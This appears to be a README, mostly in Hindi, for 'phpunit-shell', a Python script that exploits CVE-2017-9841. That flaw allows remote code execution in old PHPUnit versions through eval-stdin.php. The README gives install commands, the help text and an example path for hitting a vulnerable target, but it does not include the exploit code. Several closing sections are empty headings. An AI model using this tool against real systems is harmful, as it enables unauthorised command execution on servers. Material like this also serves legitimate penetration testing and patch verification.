phpunit-shell ⭐

CVE-2017-9841 का शोषण करने के लिए एक सरल python3 स्क्रिप्ट।

शोषण - CVE-2017-9841 ❗

सरल स्क्रिप्ट जो PHPUnit 4.8.28 से पहले और 5.x 5.6.3 से पहले में पाई गई रिमोट कोड निष्पादन भेद्यता का शोषण करती है। यह लक्ष्य पर उपयोगकर्ता इनपुट सिस्टम कमांड के साथ POST अनुरोध भेजती है।
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9841.

पूर्वापेक्षाएँ ✔

python3
python3 के लिए requests मॉड्यूल और bs4 मॉड्यूल। इन्हें इस प्रकार स्थापित किया जा सकता है:

pip3 install requests bs4

उपयोग ℹ

PHPUnit चलाने वाले लक्ष्य की पहचान करने के बाद:

chmod +x phpunit-shell
./phpunit-shell -h

या

python3 phpunit-shell -h

-h या --help विकल्प दिखाता है कि स्क्रिप्ट को कुछ उदाहरणों के साथ कैसे चलाया जाए।
दो स्थितिगत तर्क और कुछ वैकल्पिक तर्क हैं।

usage: phpunit-shell.py [-h] [-a] [-n] address

phpunit-shell.py exploits an RCE vulnerability in
applications running PHPUnit before 4.8.28 and 5.x before 5.6.3.

positional arguments:
  address           ip/hostname, port, sub-directories to the vulnerable eval-stdin.php file.

optional arguments:
  -h, --help        show this help message and exit
  -a, --accessible  turns off features which may negatively affect screen readers
  -n, --no-colour   removes colour output

example:
        phpunit-shell.py 10.10.10.10/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

CVE-2017-9841

सबसे लोकप्रिय

--accessible तर्क:

सीमाएँ ⚠

नोट्स 📝

क्रेडिट 👍